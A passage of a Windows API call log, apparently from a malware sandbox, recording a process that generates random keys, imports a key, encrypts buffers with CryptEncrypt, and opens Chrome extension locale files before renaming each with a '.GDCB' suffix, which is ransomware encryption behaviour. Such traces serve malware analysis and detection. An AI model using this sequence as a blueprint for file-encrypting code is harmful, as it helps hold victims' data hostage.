hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e1e0) returned 1 [0279.310] CryptGetKeyParam (in: hKey=0x678e1e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.310] CryptEncrypt (in: hKey=0x678e1e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.310] GetLastError () returned 0x0 [0279.310] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.310] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.311] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.314] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.317] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x419f, lpOverlapped=0x0) returned 1 [0279.326] VirtualAlloc (lpAddress=0x0, dwSize=0x41a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.332] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0279.338] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.341] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.343] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.343] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.343] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.343] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.346] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.348] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.348] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.348] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.349] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.352] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e6a0) returned 1 [0279.352] CryptGetKeyParam (in: hKey=0x678e6a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.352] CryptEncrypt (in: hKey=0x678e6a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.352] GetLastError () returned 0x0 [0279.352] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.352] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.355] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e5e0) returned 1 [0279.355] CryptGetKeyParam (in: hKey=0x678e5e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.355] CryptEncrypt (in: hKey=0x678e5e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.355] GetLastError () returned 0x0 [0279.355] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.355] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.356] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.359] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.362] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x5079, lpOverlapped=0x0) returned 1 [0279.371] VirtualAlloc (lpAddress=0x0, dwSize=0x5080, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.378] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json.gdcb")) returned 1 [0279.384] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.387] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.389] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.390] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.390] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.390] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.394] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.394] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.395] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.395] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.398] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e7e0) returned 1 [0279.398] CryptGetKeyParam (in: hKey=0x678e7e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.398] CryptEncrypt (in: hKey=0x678e7e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.398] GetLastError () returned 0x0 [0279.398] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.398] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.400] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e1a0) returned 1 [0279.400] CryptGetKeyParam (in: hKey=0x678e1a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.400] CryptEncrypt (in: hKey=0x678e1a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.400] GetLastError () returned 0x0 [0279.400] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.400] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.402] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.405] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.407] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x50f7, lpOverlapped=0x0) returned 1 [0279.429] VirtualAlloc (lpAddress=0x0, dwSize=0x5100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.435] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0279.441] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.444] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.447] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.447] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.448] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.448] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.451] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.453] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.453] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.453] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.453] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.456] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e2e0) returned 1 [0279.456] CryptGetKeyParam (in: hKey=0x678e2e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.456] CryptEncrypt (in: hKey=0x678e2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.456] GetLastError () returned 0x0 [0279.456] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.456] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.458] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e320) returned 1 [0279.458] CryptGetKeyParam (in: hKey=0x678e320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.458] CryptEncrypt (in: hKey=0x678e320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.458] GetLastError () returned 0x0 [0279.458] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.458] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.460] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.463] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.465] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3ff2, lpOverlapped=0x0) returned 1 [0279.475] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.482] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json.gdcb")) returned 1 [0279.487] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.490] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.493] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.493] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.493] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.496] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.498] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.498] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.498] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.498] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.501] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e860) returned 1 [0279.501] CryptGetKeyParam (in: hKey=0x678e860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.501] CryptEncrypt (in: hKey=0x678e860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.501] GetLastError () returned 0x0 [0279.501] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.501] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.503] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e820) returned 1 [0279.503] CryptGetKeyParam (in: hKey=0x678e820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.503] CryptEncrypt (in: hKey=0x678e820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.504] GetLastError () returned 0x0 [0279.504] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.504] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.505] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.508] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.511] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x40d4, lpOverlapped=0x0) returned 1 [0279.520] VirtualAlloc (lpAddress=0x0, dwSize=0x40e0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.527] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0279.532] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0279.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.537] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.537] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.537] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.540] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.542] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.542] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.542] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.543] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.545] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e360) returned 1 [0279.545] CryptGetKeyParam (in: hKey=0x678e360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.545] CryptEncrypt (in: hKey=0x678e360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.545] 